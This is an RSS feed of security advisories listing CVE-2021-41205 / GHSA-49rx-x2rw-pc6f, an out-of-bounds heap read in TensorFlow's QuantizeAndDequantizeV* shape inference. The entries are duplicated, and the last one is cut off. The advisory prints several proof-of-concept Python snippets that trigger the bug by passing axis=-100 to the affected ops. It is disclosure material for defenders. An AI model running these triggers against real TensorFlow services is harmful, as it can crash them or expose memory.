https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 07:49:09 +0000 https://cve.radiocsirt.org/vuln/cve-2021-41205 <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.</p> <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.</p> https://cve.radiocsirt.org/vuln/cve-2021-41205 https://cve.radiocsirt.org/vuln/ghsa-49rx-x2rw-pc6f <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data</p> <p>test() ```</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode=&#39;HALF_TO_EVEN&#39;, narrow_range=False, axis=-100) return data</p> <p>test() ```</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data</p> <p>test() ```</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode=&#39;HALF_TO_EVEN&#39;, narrow_range=Fals…</p> <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data</p> <p>test() ```</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode=&#39;HALF_TO_EVEN&#39;, narrow_range=False, axis=-100) return data</p> <p>test() ```</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data</p> <p>test() ```</p> <p>```python import tensorflow as tf</p> <p>@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode=&#39;HALF_TO_EVEN&#39;, narrow_range=Fals…</p> https://cve.radiocsirt.org/vuln/ghsa-49rx-x2rw-pc6f